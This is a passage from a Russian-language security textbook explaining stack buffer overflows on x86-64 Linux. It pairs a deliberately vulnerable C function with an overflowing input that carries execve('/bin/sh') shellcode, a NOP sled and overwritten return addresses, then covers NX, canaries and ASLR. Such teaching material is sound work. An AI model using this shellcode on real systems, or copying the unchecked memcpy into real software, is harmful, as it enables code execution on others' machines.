15.4. Переполнение буфера в стеке

В качестве примера переполнения буфера опишем самую распространённую атаку, направленную на исполнение кода злоумышленника.

В 64-битовой x86-64 архитектуре основное пространство виртуальной памяти процесса из 16-ти эксбибайт ($2^{64}$ байт) свободно, и только малая часть занята (выделена). Виртуальная память выделяется процессу операционной системой блоками по 4 кибибайта, называемыми страницами памяти. Выделенные страницы соответствуют страницам физической оперативной памяти или страницам файлов.

Пример выделенной виртуальной памяти процесса представлен в таблице [tab:virtual-memory]. Локальные переменные функций хранятся в области памяти, называемой стеком.

Приведём пример переполнения буфера в стеке, которое даёт возможность исполнить код для 64-разрядной ОС Linux. Ниже приводится листинг исходной программы, которая печатает расстояние Хэмминга между векторами $b1 = \text{\texttt{0x01234567}}$ и $b2 = \text{\texttt{0x89ABCDEF}}$.

#include <stdio.h>
#include <string.h>

int hamming_distance(unsigned a1, unsigned a2, char *text,
                     size_t textsize) {
  char buf[32];
  unsigned distance = 0;
  unsigned diff = a1 ^ a2;
  while (diff) {
    if (diff & 1) distance++;
    diff >>= 1;
  }
  memcpy(buf, text, textsize);
  printf("%s: %i\n", buf, distance);
  return distance;
}

int main() {
  char text[68] = "Hamming";
  unsigned b1 = 0x01234567;
  unsigned b2 = 0x89ABCDEF;
  return hamming_distance(b1, b2, text, 8);
}
Адрес Использование
0x00000000 00000000
 
2-2 0x00000000 0040063F6cmИсполняемый код, динамические библиотеки
 
2-2
 
 
2-2 0x00000000 0143E010Динамическая память
 
2-2
 
 
2-2 0x00007FFF A425DF26Переменные среды
 
2-2
 
 
2-2 0x00007FFF FFFFEB60Стек функций
 
2-2
 
0xFFFFFFFF FFFFFFFF
Таблица 15.1 — Пример структуры виртуальной памяти процесса

Вывод программы при запуске:

$ ./hamming
Hamming: 8

При вызове функций вызывающая функция выделяет стековый кадр для вызываемой функции в сторону уменьшения адресов. Стековый кадр в порядке уменьшения адресов состоит из следующих частей:

  1. Аргументы вызова функции, расположенные в порядке увеличения адреса (за исключением тех, которые передаются в регистрах процессора).
  2. Сохранённый регистр процессора rip вызывающей функции, также называемый адресом возврата. Регистр rip содержит адрес следующей инструкции для исполнения. При входе в вызываемую функцию rip запоминается в стеке, затем в rip записывается адрес первой инструкции вызываемой функции, а по завершении функции rip восстанавливается из стека, и, таким образом, исполнение возвращается назад.
  3. Сохранённый регистр процессора rbp вызывающей функции. Регистр rbp содержит адрес сохранённого предыдущего значения rbp вызывающей функции. Процессор обращается к локальным переменным функций по смещению относительно rbp. При вызове функции rbp сохраняется в стеке, затем в rbp записывается текущее значение адреса вершины стека (регистр rsp), а по завершении функции rbp восстанавливается.
  4. Локальные переменные вызываемой функции, как правило, расположенные в порядке уменьшения адреса при объявлении новой переменной (порядок может быть изменён в результате оптимизаций и использования механизмов защиты, таких как Stack Smashing Protection в компиляторе GCC).

Адрес начала стека, а также, возможно, адреса локальных массивов и переменных выровнены по границе параграфа в 16 байтов, из-за чего в стеке могут образоваться неиспользуемые байты.

Если в программе имеется ошибка, которая может привести к переполнению выделенного буфера в стеке при копировании, то есть возможность записать вместо сохранённого значения регистра rip новое. В результате по завершении данной функции исполнение начнётся с указанного адреса. Если есть возможность записать в переполняемый буфер исполняемый код, а затем на место сохранённого регистра rip адрес на этот код, то получим исполнение заданного кода в стеке функции.

На рис. 15.1 приведены исходный стек и стек с переполнением буфера, из-за которого записалось новое сохранённое значение rip.

Рис. 15.1 — Исходный стек и стек с переполнением буфера

Изменим программу для демонстрации, поместив в копируемую строку исполняемый код для вызова /bin/sh.

...
int main() {
  char text[68] =
    // 28 байтов исполняемого кода
    "\x90" "\x90" "\x90"                // nop; nop; nop
    "\x48\x31" "\xD2"                   // xor %rdx, %rdx
    "\x48\x31" "\xF6"                   // xor %rsi, %rsi
    "\x48\xBF" "\xDC\xEA\xFF\xFF"
    "\xFF\x7F\x00\x00"                  // mov $0x7fffffffeadc,
                                        //   %rdi
    "\x48\xC7\xC0" "\x3B\x00\x00\x00"   // mov $0x3b, %rax
    "\x0F\x05"                          // syscall
    // 8 байтов строки /bin/sh
    "\x2F\x62\x69\x6E\x2F\x73\x68\x00"  // "/bin/sh\0"
    // 12 байтов заполнения и 16 байтов новых
    // значений сохранённых регистров
    "\x00\x00\x00\x00"                  // незанятые байты
    "\x00\x00\x00\x00"                  // unsigned distance
    "\x00\x00\x00\x00"                  // unsigned diff
    "\x50\xEB\xFF\xFF"                  // регистр
    "\xFF\x7F\x00\x00"                  //   rbp=0x7fffffffeb50
    "\xC0\xEA\xFF\xFF"                  // регистр
    "\xFF\x7F\x00\x00";                 //   rip=0x7fffffffeac0
  ...
  hamming_distance(b1, b2, text, 68);
  return 0;
}

Код эквивалентен вызову функции execve(``/bin/sh'', 0, 0) через системный вызов функции ядра Linux для запуска оболочки среды /bin/sh. При системном вызове нужно записать в регистр rax номер системной функции, а в другие регистры процессора – аргументы. Данный системный вызов с номером 0x3b требует в качестве аргументов регистры rdi с адресом строки исполняемой программы, rsi и rdx с адресами строк параметров запускаемой программы и переменных среды. В примере в rdi записывается адрес 0x7fffffffeadc, который указывает на строку ``/bin/sh'' в стеке после копирования. Регистры rdx и rsi обнуляются.

На рис. 15.1 приведён стек с переполненным буфером, в котором записалось новое сохранённое значение rip, указывающее на заданный код в стеке.

Начальные инструкции nop с кодом 0x90 означают пустые операции. Часто точные значения адреса и структуры стека неизвестны, поэтому злоумышленник угадывает предполагаемый адрес стека. В начале исполняемого кода создаётся массив из операций nop с надеждой на то, что предполагаемое значение стека, то есть требуемый адрес rip, попадёт на эти операции, повысив шансы угадывания. Стандартная атака на переполнение буфера с исполнением кода также подразумевает последовательный перебор предполагаемых адресов для нахождения правильного адреса для rip.

В результате переполнения буфера в примере по завершении функции hamming<_>distance() начнёт исполняться инструкция с адреса строки buf, то есть заданный код.

15.4.1. Защита

Лучший способ защиты от атак переполнения буфера – создание программного кода со слежением за размером данных и длиной буфера. Однако ошибки всё равно происходят. Существует несколько стандартных способов защиты от исполнения кода в стеке в архитектуре x86 (x86-64).

  1. Современные 64-разрядные x86-64 процессоры включают поддержку флагов доступа к страницам памяти. В таблице виртуальной памяти, выделенной процессу, каждая страница имеет набор флагов, отвечающих за защиту страниц от некорректных действий программы:
    • флаг разрешения доступа из пользовательского режима – если флаг не установлен, то доступ к данной области памяти возможен только из режима ядра;
    • флаг запрета записи – если флаг установлен, то попытка выполнить запись в данную область памяти приведёт к возникновению исключения;
    • флаг запрета исполнения (NX-Bit, No eXecute Bit в терминологии AMD; XD-Bit, Execute Disable Bit в терминологии Intel; DEP, Data Execution Prevention – соответствующая опция защиты в операционных системах) – если флаг установлен, то при попытке передачи управления на данную область памяти возникнет исключение. Для совместимости со старым программным обеспечением есть возможность отключить использование данного флага на уровне операционной системы целиком или для отдельных программ.
    Попытка выполнить операции, которые запрещены соответствующими настройками (флагами) виртуальной памяти, вызывает ошибку сегментации (жарг. сегфолт, англ. segmentation fault, segfault). Обычно данная ошибка приводит к аварийному завершению работы атакуемой программы (сервиса).
  2. Второй стандартный способ – вставка проверочных символов (англ. canaries, guards) после массивов и в конце стека и их проверка перед выходом из функции. Если произошло переполнение буфера, программа аварийно завершится. Данный способ защиты реализован с помощью модификации конечного кода программы во время компиляцииСм. опции -fstack-protector для GCC, /GS для компиляторов от Microsoft и другие., его нельзя включить или отключить без перекомпиляции программного обеспечения.
  3. Третий способ – рандомизация адресного пространства (англ. address space layout randomization, ASLR), то есть случайное расположение стека, кода и т. д. В настоящее время используется в большинстве современных операционных систем (Android, iOS, Linux, OpenBSD, macOS, Windows). Это приводит к маловероятному угадыванию адресов и значительно усложняет использование уязвимости.

15.4.2. Другие атаки с переполнением буфера

Почти любую возможность для переполнения буфера в стеке или динамической памяти можно использовать для получения критической ошибки в программе из-за обращения к адресам виртуальной памяти, страницы которых не были выделены процессу. Следовательно, можно проводить атаки отказа в обслуживании (англ. Denial of Service (DoS) attacks).

Переполнение буфера в динамической памяти, в случае хранения в ней адресов для вызова функций, может привести к подмене адресов и исполнению другого кода.

В описанных DoS-атаках NX-бит не защищает систему.